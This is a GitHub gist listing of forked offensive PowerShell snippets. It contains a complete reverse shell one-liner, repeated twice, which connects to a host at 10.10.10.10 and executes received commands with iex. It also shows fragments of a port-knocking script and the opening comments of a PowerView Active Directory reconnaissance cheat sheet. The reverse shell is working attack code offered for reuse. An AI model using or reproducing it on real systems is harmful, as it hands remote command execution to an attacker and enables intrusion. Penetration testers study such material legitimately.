Skip to content

Instantly share code, notes, and snippets.

View MarkGillanders's full-sized avatar

Mark Gillanders MarkGillanders

View GitHub Profile
@MarkGillanders
MarkGillanders / powershell_reverse_shell.ps1
Created May 30, 2024 13:04 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@MarkGillanders
MarkGillanders / powershell_reverse_shell.ps1
Created May 30, 2024 13:04 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@MarkGillanders
MarkGillanders / portknocker.ps1
Created January 6, 2024 14:46 — forked from ppmathis/portknocker.ps1
PowerShell Portknocker
# Remove old readonly constants from session
Remove-Variable -Name KNOCK_DESTINATION -Force -ErrorAction SilentlyContinue
Remove-Variable -Name KNOCK_VALID_TYPES -Force -ErrorAction SilentlyContinue
Remove-Variable -Name KNOCK_PORTS -Force -ErrorAction SilentlyContinue
Remove-Variable -Name KNOCK_EXE_TARGET -Force -ErrorAction SilentlyContinue
# === SCRIPT CONFIGURATION ===
Set-Variable KNOCK_DESTINATION -Option ReadOnly -Value "1.2.3.4"
Set-Variable KNOCK_VALID_TYPES -Option ReadOnly -Value ("TCP", "UDP")
Set-Variable KNOCK_PORTS -Option ReadOnly -Value ((1, "TCP"), (2, "TCP"), (3, "UDP"), (4, "UDP"))
@MarkGillanders
MarkGillanders / portknocker.ps1
Created January 6, 2024 14:46 — forked from ppmathis/portknocker.ps1
PowerShell Portknocker
# Remove old readonly constants from session
Remove-Variable -Name KNOCK_DESTINATION -Force -ErrorAction SilentlyContinue
Remove-Variable -Name KNOCK_VALID_TYPES -Force -ErrorAction SilentlyContinue
Remove-Variable -Name KNOCK_PORTS -Force -ErrorAction SilentlyContinue
Remove-Variable -Name KNOCK_EXE_TARGET -Force -ErrorAction SilentlyContinue
# === SCRIPT CONFIGURATION ===
Set-Variable KNOCK_DESTINATION -Option ReadOnly -Value "1.2.3.4"
Set-Variable KNOCK_VALID_TYPES -Option ReadOnly -Value ("TCP", "UDP")
Set-Variable KNOCK_PORTS -Option ReadOnly -Value ((1, "TCP"), (2, "TCP"), (3, "UDP"), (4, "UDP"))
@MarkGillanders
MarkGillanders / PowerView-3.0-tricks.ps1
Created June 16, 2021 18:51 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set